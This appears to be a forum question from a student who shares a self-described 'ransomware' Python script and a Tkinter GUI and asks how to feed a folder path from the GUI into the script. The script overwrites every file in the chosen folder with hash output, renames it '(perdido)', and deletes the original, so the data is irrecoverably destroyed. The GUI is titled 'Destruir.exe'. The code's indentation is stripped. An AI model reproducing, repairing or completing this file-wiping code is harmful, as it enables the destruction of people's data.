1
I have a "ransomware" in which I put a path to a folder and it encrypts/destroys
I have a paper to present in college where I have to create a graphical interface, created a simple screen, with 2 buttons and a text Cx, the text Cx would be where the user would put the folder path and there, the 2 buttons, 1 would be to execute the code and the other to exit the program
Code of the Ransomware:
import hashlib
import os
import string
import sys
#Windows - teste
#c = 'C:\\Users\\teste\\Desktop\\teste'
#teste import
c = '' #AQUI Q EU GOSTARIA DE IMPORTAR O CAMINHO QUE O USUÁRIO ESCREVER NA CX DE TEXTO
for files in os.listdir(c):
os.chdir(c)
with open(files, 'rb') as r:
data = r.read()
encrypt = hashlib.sha512(data).hexdigest()
encrypt = encrypt.encode('utf-8') #resolveu o erro
new_file = '(perdido)' +os.path.basename(files)
with open(new_file, 'wb') as n:
n.write(encrypt*0x31)
n.close()
r.close()
os.remove(files)
GUI code:
from tkinter import *
#corpo do programa
janela = Tk()
janela.title("Destruir.exe")
janela.geometry('300x200+0+0')
#--
#definições
#definição da ação que o botão1 vai fazer ao ser pressionado
def botao_pressionado():
import imp
def botao2_pressionado():
exit()
#--
#botão
#botão1 = ação
#especificações do botão1, coordenadas, texto e ação
b1 = Button(janela, text="DESTRUIR", command = botao_pressionado)
b1.pack(anchor = W)
b1.place(x=110, y=80)
#botão2 = sair
#sai do programa
b2 = Button(janela, text="SAIR", command = botao2_pressionado)
b2.pack(anchor = W)
b2.place(x=130, y=110)
#--
#campo de escrita/entrada de informação
#usuário fornece a informação
e1 = Entry(janela)
e1.pack(side=TOP)
e1.place(x=50, y=50)
#--
janela.mainloop()
@Noobsaibot basically did not know how to get q the user to type in the text field and play in the other code without giving error, pq when I leave the path empty, it from the error
– efe